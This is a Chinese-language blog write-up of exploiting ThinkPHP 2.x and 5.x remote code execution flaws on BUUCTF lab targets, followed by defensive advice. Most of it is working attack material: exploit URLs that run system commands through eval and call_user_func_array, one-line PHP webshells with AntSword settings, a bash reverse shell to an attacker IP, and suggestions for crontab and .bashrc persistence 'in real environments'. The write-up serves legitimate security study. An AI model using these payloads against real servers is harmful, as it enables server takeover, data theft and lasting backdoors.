ThinkPHP 2.x & 5.x 远程代码执行漏洞复现与利用(基于 BUUCTF)

ThinkPHP 2.x & 5.x 远程代码执行漏洞复现与利用(基于 BUUCTF)

一、前言

ThinkPHP 是一个广受欢迎的 PHP 开发框架,但其早期版本(2.x 和 5.0.x 至 5.0.23)因设计缺陷存在严重的远程代码执行(RCE)漏洞。这些漏洞允许攻击者通过精心构造的 URL 参数执行任意 PHP 代码或系统命令,甚至实现服务器完全控制。本文基于 BUUCTF 在线靶场,详细复现 ThinkPHP 2.x 和 5.x 的 RCE 漏洞,涵盖漏洞原理、利用过程、蚁剑连接以及后门植入的可能性,旨在帮助安全从业者和开发者深入理解和防范此类漏洞。

本文将分为两部分:

  1. ThinkPHP 2.x RCE 漏洞:利用模板变量解析缺陷执行代码和命令。
  2. ThinkPHP 5.x RCE 漏洞:通过框架路由调用任意函数实现代码执行。

二、ThinkPHP 2.x RCE 漏洞复现

1. 靶场环境

BUUCTF 提供在线靶场,无需自行搭建环境。

  • ThinkPHP 2.x RCE 漏洞地址https://buuoj.cn/challenges#[ThinkPHP]2-Rce
    开启靶场,访问页面后,通常显示简陋的 ThinkPHP 2.x 欢迎页面,但后台隐藏着强大的远程命令执行能力 。

2. 漏洞原理

ThinkPHP 2.x 的模板引擎在处理 URL 参数时,直接将参数拼接为模板变量,未进行严格过滤。例如,URL 参数 name=${@phpinfo()} 会被解析为:

1
<?php echo ${@phpinfo()} ?>

由于 @phpinfo() 是合法的 PHP 函数调用,服务器会执行 phpinfo() 函数并返回结果。如果结合 eval()assert(),攻击者可通过 GET 或 POST 参数进一步执行任意代码或系统命令,形成完全控制。

3. 漏洞利用过程

步骤 1:测试代码执行(POC1)

使用以下 Payload 测试是否可以执行 PHP 代码:

1
http://node3.buuoj.cn:26104/?s=/index/index/name/${@phpinfo()}

结果:页面返回 phpinfo() 的详细信息,证明代码被成功解析执行 。

步骤 2:执行系统命令(POC2)

利用 eval() 结合 GET 参数执行系统命令(如 ls):

1
http://node3.buuoj.cn:26104/?s=/index/index/name=${@eval($_GET[1])}&1=system(%27ls%27);

参数说明

  • name=${@eval($_GET[1])}:通过 eval() 执行 GET 参数 1 的内容。
  • 1=system(%27ls%27):执行 system('ls'),其中 %27 是 URL 编码的单引号 '
  • 结果:页面返回目录列表,例如:
    1
    2
    index.php
    flag
    说明 ls 命令执行成功。

步骤 3:读取 Flag 文件

尝试读取 /flag 文件内容:

1
http://node3.buuoj.cn:26104/?s=/index/index/name=${@eval($_GET[1])}&1=system(%27cat%20flag%27);

结果:页面返回类似以下内容:

1
flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

这表明目标服务器已被完全控制 。

4. 使用蚁剑连接

为了更方便地操作服务器,可以上传一句话木马并使用蚁剑(AntSword)进行交互。

构造 Payload:

使用 POST 参数构造一句话木马:

1
http://node3.buuoj.cn:26104/?s=/index/index/name=${@eval($_POST[1])}

蚁剑配置

  • URLhttp://node3.buuoj.cn:26104/?s=/index/index/name=${@eval($_POST[1])}
  • 密码1(对应 $_POST[1]
  • 类型:PHP(原生)
  • 编码:默认

连接成功后,可使用蚁剑进行:

  • 命令行执行
  • 文件管理(如上传、下载)
  • 终端交互

5. 进一步操作

在真实环境中,可进行以下高级操作:

  1. 上传 WebShell
    • 在蚁剑中上传一句话木马(如 <?php @eval($_POST['pass']);?>)或冰蝎(Behinder)木马。
    • 保存到可访问路径(如 /var/www/html/shell.php)。
  2. 反弹 Shell
    • 在 Kali 上启动监听:
      1
      nc -lvnp 4444
    • 在蚁剑中执行:
      1
      bash -i >& /dev/tcp/你的IP/4444 0>&1
  3. 持久化后门
    • 添加计划任务(crontab)定时反弹 Shell。
    • 修改 .bashrc 文件,添加后门命令。
    • 写入定时任务(如每分钟执行反弹 Shell)。

三、ThinkPHP 5.x RCE 漏洞复现

1. 靶场环境

BUUCTF 提供 ThinkPHP 5.x 在线靶场:

  • ThinkPHP 5.x RCE 漏洞地址https://buuoj.cn/challenges#[ThinkPHP]5-Rce
    开启靶场,访问页面显示:
1
2
3
ThinkPHP V5
十年磨一剑 - 为 API 开发设计的高性能框架
[ V5.0 版本由 七牛云 独家赞助发布 ]

这表明靶场运行 ThinkPHP 5.x(版本 <= 5.0.23),漏洞复现环境已就绪 。

2. 漏洞原理

ThinkPHP 5.x 的 RCE 漏洞源于框架对 \think\app::invokefunction 方法的未授权访问。攻击者可通过 URL 参数调用 call_user_func_array 函数,动态执行任意 PHP 函数(如 phpinfosystem),并传递参数。

利用链

1
2
3
4
5
index.php
└── ?s=index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=phpinfo
&vars[1][]=-1

参数说明

参数 含义说明
s ThinkPHP 路由,访问框架核心类
function 被调用的函数(如 call_user_func_array
vars[0] 实际调用的函数名称(如 phpinfosystem
vars[1][] 函数参数数组(如 whoami-1

3. 漏洞利用过程

步骤 1:信息探测(测试 phpinfo

构造 Payload 测试漏洞:

1
http://node5.buuoj.cn:27945/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

结果:页面返回完整的 phpinfo() 信息,证明漏洞存在且可利用。

步骤 2:执行系统命令(whoami

修改 Payload 执行 whoami 命令:

1
http://node5.buuoj.cn:27945/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

结果:页面返回:

1
www-data

表明 Web 服务以 www-data 用户运行,命令执行成功。

步骤 3:读取 Flag 文件

尝试读取 /flag 或根目录下的 flag 文件:

1
http://node5.buuoj.cn:27945/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

或:

1
http://node5.buuoj.cn:27945/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/var/www/html/flag

结果:页面返回类似:

1
flag{d64e3f2e-xxxx-xxxx-xxxx-0ed8fe1b43f3}

4. 使用蚁剑连接

与 ThinkPHP 2.x 类似,可构造 POST 参数的一句话木马:

1
http://node5.buuoj.cn:27945/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval($_POST[1])

蚁剑配置

  • URL:上述地址
  • 密码1(对应 $_POST[1]
  • 类型:PHP(原生)
  • 编码:默认

连接后可进行文件管理、命令执行等操作。


四、防御措施

1. 升级 ThinkPHP 版本

  • ThinkPHP 2.x:升级到更高版本(如 3.x 或 5.0.24+),修复模板解析漏洞。
  • ThinkPHP 5.x:升级到 5.0.24 或更高版本,官方已修复 RCE 漏洞。

2. 输入验证与过滤

  • 白名单验证:限制 s 参数和模板变量,只允许预定义值。
  • 过滤危险函数:禁用 evalassertcall_user_func_array 等高危函数。
  • 参数校验:对用户输入进行严格过滤,防止注入。

3. 禁用危险函数

php.ini 中禁用高危函数:

1
disable_functions = eval,assert,exec,system,passthru,shell_exec,proc_open,call_user_func_array

4. 最小权限原则

  • 配置 Web 服务器以最低权限运行(如非 root 用户)。
  • 限制 PHP 脚本的文件系统访问权限。

5. Web 应用防火墙(WAF)

  • 部署 WAF,拦截包含可疑路由(如 \think\app)或函数(如 system)的请求。
  • 使用正则规则匹配异常 Payload。

6. 安全审计与监控

  • 定期扫描 Web 应用,检查已知漏洞。
  • 监控服务器日志,及时发现异常请求。

五、总结

项目 ThinkPHP 2.x RCE ThinkPHP 5.x RCE
漏洞名称 ThinkPHP 2.x RCE ThinkPHP 5.x RCE
影响版本 ThinkPHP 2.x ThinkPHP <= 5.0.23
漏洞原因 模板变量解析未过滤 动态函数调用未授权
利用方法 GET/POST 参数构造 eval/assert GET 请求构造路由 + 函数调用
关键函数 eval, assert call_user_func_array
检测方式 使用 ${@phpinfo()} 探测 使用 phpinfo 探测,再尝试 system
练习平台 BUUCTF(如 node3.buuoj.cn:26104 BUUCTF(如 node5.buuoj.cn:27945

ThinkPHP 2.x 和 5.x 的 RCE 漏洞利用简单但危害极大,攻击者可通过简单的 URL 构造实现代码或命令执行,甚至完全控制服务器。BUUCTF 靶场为我们提供了便捷的复现环境,通过本文的演示,读者可以深入理解漏洞原理和利用流程。开发者应及时升级框架、加强输入验证、部署 WAF 和监控机制,以有效防范此类漏洞。

免责声明:本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。


ThinkPHP 2.x & 5.x 远程代码执行漏洞复现与利用(基于 BUUCTF)
https://bae-ace.github.io/2025/07/28/ThinkPHP-2-x-5-x-远程代码执行漏洞复现与利用(基于-BUUCTF)/
作者
bae
发布于
2025年7月28日
许可协议